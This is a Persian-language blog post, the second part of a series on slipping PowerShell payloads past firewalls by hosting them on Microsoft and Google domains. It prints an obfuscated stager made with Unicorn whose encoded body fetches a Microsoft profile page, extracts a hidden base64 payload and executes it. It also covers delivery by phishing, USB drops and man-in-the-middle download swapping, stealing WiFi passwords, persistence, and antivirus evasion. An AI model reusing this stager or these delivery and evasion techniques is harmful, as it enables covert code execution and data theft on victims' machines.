Bypass دیواره های آتش و اجرای Payload ها با دامنه های Microsoft – بخش دوم

در مطلب قبل به چگونگی Bypass فایروال ها با سایت Microsoft.com پرداختیم. در ادامه نحوه مبهم‌سازی و استفاده از تکنیک های پیشرفته تر را توضیح خواهیم داد.

اگر تاکنون بخش اول این writeup را مطالعه نکردید از لینک زیر می توانید آن را بخوانید:
Bypass دیواره های آتش و اجرای Payload ها با دامنه های Microsoft – بخش اول

+ Obfuscate  (مبهم‌سازی) PowerShell Stager

برای اینکه روند ردگیری را در شبکه های امن کاهش و تا حتی الامکان سخت کنیم می توانید از ابزاری مانند Unicorn برای مبهم‌سازی (obfuscate) stager استفاده کنیم. این ابزار را می توانید از لینک زیر دریافت نمایید:

Unicorn-Inject shellcode straight into memory

به طور خلاصه با استفاده از Unicorn روند بدین صورت خواهد بود:

~# python unicorn.py stager.ps1

                                                         ,/
                                                        //
                                                      ,//
                                          ___   /|   |//
                                      `__/\_ --(/|___/-/
                                   \|\_-\___ __-_`- /-/ \.
                                  |\_-___,-\_____--/_)' ) \
                                   \ -_ /     __ \( `( __`\|
                                   `\__|      |\)\ ) /(/|
           ,._____.,            ',--//-|      \  |  '   /
          /     __. \,          / /,---|       \       /
         / /    _. \  \        `/`_/ _,'        |     |
        |  | ( (  \   |      ,/\'__/'/          |     |
        |  \  \`--, `_/_------______/           \(   )/
        | | \  \_. \,                            \___/\
        | |  \_   \  \                                 \
        \ \    \_ \   \   /                             \
         \ \  \._  \__ \_|       |                       \
          \ \___  \      \       |                        \
           \__ \__ \  \_ |       \                         |
           |  \_____ \  ____      |                        |
           | \  \__ ---' .__\     |        |               |
           \  \__ ---   /   )     |        \              /
            \   \____/ / ()(      \          `---_       /|
             \__________/(,--__    \_________.    |    ./ |
               |     \ \  `---_\--,           \   \_,./   |
               |      \  \_ ` \    /`---_______-\   \\    /
                \      \.___,`|   /              \   \\   \
                 \     |  \_ \|   \              (   |:    |
                  \    \      \    |             /  / |    ;
                   \    \      \    \          ( `_'   \  |
                    \.   \      \.   \          `__/   |  |
                      \   \       \.  \                |  |
                       \   \        \  \               (  )
                        \   |        \  |              |  |
                         |  \         \ \              I  `
                         ( __;        ( _;            ('-_';
                         |___\        \___:            \___:

aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=

Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave

[*] Exported powershell output code to powershell_attack.txt

بعد از مبهم سازی می توان محتوای Obfuscate  شده را با فرمان cat همانند زیر، مشاهده کنید.

~# cat powershell_attack.txt
powershell /w 1 /C "s\"\"v ic -;s\"\"v tHL e\"\"c;s\"\"v NwW ((g\"\"v ic).value.toString()+(g\"\"v tHL).value.toString());powershell (g\"\"v NwW).value.toString() ('JAB3AHIAbwAgAD0AIABpAHcAcgAgAC0AVQByAGkAIABoAHQAdABwAHMAOgAvAC8AcwBvAGMAaQBhAGwALgBtAHMAZABuAC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvAFAAcgBvAGYAaQBsAGUALwBVAFMARQBSAE4AQQBNAEUAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnADsAJAByACAAPQAgAFsAUgBlAGcAZQB4AF0AOgA6AG4AZQB3ACgAIgAoAD8APAA9AFMAVABBAFIAVAApACgALgAqACkAKAA/AD0ARQBOAEQAKQAiACkAOwAkAG0AIAA9ACAAJAByAC4ATQBhAHQAYwBoACgAJAB3AHIAbwAuAHIAYQB3AGMAbwBuAHQAZQBuAHQAKQA7AGkAZgAoACQAbQAuAFMAdQBjAGMAZQBzAHMAKQB7ACAAJABwACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAG0ALgB2AGEAbAB1AGUAKQApADsAaQBlAHgAIAAkAHAAIAB9AAoA')"

 

+ پیاده‌سازی Stager

یک نمونه ساده استفاده از stager حمله USB Rubbe  است. با این وجود، روش‌های زیادی برای اجرای کد در دستگاه هدف وجود دارد. در زیر چند مورد را که می توان از آنها ایده برای پیاده سازی گرفت که البته کامل نیست، لیست کرده ایم:

  • Man-in-the-middle: با استفاده از ابزارهایی مانند Mitmf (که اکنون deprecate شده است) و یا Bettercap که قادر به رهگیری دانلودها و جایگزینی آن‌ها با فایل‌های مخرب هستند.
  • پیوست کردن به ایمیل: حملات Phishing یکی از اصلی‌ترین روش‌هایی هستند که مهاجمان برای به دستیابی به سازمان آن‌ را انجام می دهند. برخی سازمان‌هایی که خیلی بزرگ هستند و نمی‌توانند بطور مناسبی آموزش‌های عمقی در مورد آگاهی از امنیت به کارکنان خود ارائه دهند کاملا در برابر این روش آسیب پذیر هستند.
  • رها کردن USB : رها کردن  USB تقریبا 50% اوقات حملات موفقی هستند. معمولا افراد زیادی با دیدن فلش های گم شده ترغیب به استفاده از آن ها و اتصال به رایانه خود می شوند. (حالا خوبه فلش ارزش گرون هم نیست ولی خب آدمیزاده دیگه!)
  • USB Rubber : با چند ثانیه دسترسی فیزیکی به رایانه‌ی مورد نظر، می‌توان از USB Rubber برای وارد کردن stagers به سیستم هدف، استفاده کرد.

 

+ بهبود حمله – جمع بندی

برای بهبود حمله، مهاجمان راه های بسیاری زیادی در اختیار دارند که چند نمونه از آن ها را به اختصار در ادامه توضیح می دهیم.

سوء استفاده از Google.com برای میزبانی پی‌لودها:

استفاده از Google.com برای میزبانی پی‌لودها یکی از روش های پیشرفته در این مدل از حمله ها است. همانند دامنه *.microsoft.com، اکثر فایروال‌ها درخواست‌های GET را که مستقیما به google.com ارسال می شوند را مسدود نمی‌کنند. البته که میزبانی پی‌لودها بطور مستقیم بر روی گوگل دشوار است. گوگل موتور جستجوگر است، ولی این کمی استفاده از تکنیک های SEO و زدن یک وب سایت و بالا آمادن در لیست نتایج جستجو گوگل برای کلمات کم کاربرد، این کار امکان پذیر است.

سپس کافی است یک صفحه وب با path ای ایجاد شود که شامل پی‌لود در نام باشد. می‌توان پی‌لود را  بعدا با استفاده از href و نه بدنه‌ی بخش About Me (مثال زیر) بدست آورد. در واقع، رایانه‌ی هدف هرگز وب سایت مهاجم را جستجو نخواهد کرد که در نهایت می‌توان با استفاده از موتور جستجوی گوگل بطور کامل به پی‌لود دست یافت.

Payloadهای هدفدار:

در این مقاله پیاده سازی یک پی‌لود PowerShell را که بسیار ساده است توضیح دادیم کار آن ایجاد فایل متنی خالی در پوشه/ Documents بود. در واقع، مهاجم ممکن است تلاش کند تا گذرواژه‌های WiFi را exfiltrate کند، با استفاده از ابزاری مانند schtasks به سیستم دسترسی خود را حفظ کند یا یک EXE در پوشه StartUp \ قرار دهد. پس محدود به مثال توضیح داده شده در این مقاله نیست و صرفا یک مثال از نحوه انجام چنین حملاتی است.

با این‌حال، اگر برای خروج داده ها از شبکه مانعی وجود داشته باشد، TCP reverse shell معمولا به راحتی تشخیص داده می‌شوند – که دیگر استفاده از دامنه‌ی مایکروسافت یا گوگل در stager را بی معنی می کند. در این حالت، شاید بهتر باشد که از رایانه‌ی هدف به عنوان Wi-Fi hotspot استفاده کرد و از طریق SMB امکان به اشتراک گذاری را ایجاد کرد. چنین حملاتی به مهاجمان این امکان را می‌دهد تا به hotspot وای‌فای هدف (برای دور زدن شبکه‌ی مبدا) متصل شده و از فایل‌های روی رایانه به نفع خود استفاده کنند.

گریز (Evasion) از SmartScreen:

SmartScreen لایه‌ی امنیتی دیگری است که توسط مایکروسافت ایجاد شده است. این لایه به عنوان سرویس ضد بدافزار در پس زمینه اجرا می‌شود و اپلیکیشن‌ها و فایل‌ها را با استفاده از پایگاه داده بدافزار مایکروسافت، اسکن می‌کند. در چند آزمایش کوتاه بدون Unicorn obfuscation و با استفاده از PowerShell stager کامپایل شده (EXE) امکان Bypass مرورگر کروم، Windows Defender و آنتی ویروس Avast  بر روی  یک دستگاه ویندوز 10 نسبتا hardened شده، هیچ کدام از ابزارهای امنیتی stager را شناسایی نکردند.

اما در مقابل SmartScreen باعث شد تا کاربر در زمان اجرای EXE پیامی دریافت کند که به علت ایجاد فایل توسط «ناشر ناشناس» (Unknown publisher) است. لازم به ذکر است که در این مقاله هدف اصلی دور زدن دیواره های آتش بوده و نه لایه های امنیتی همچون SmartScreen. اما به احتمال زیاد در آینده آموزش هایی از این دست در IranSec.net قرار گیرد.

       
Subscribe
Notify of
guest
0 Comments
Inline Feedbacks
View all comments
0
Would love your thoughts, please comment.x
()
x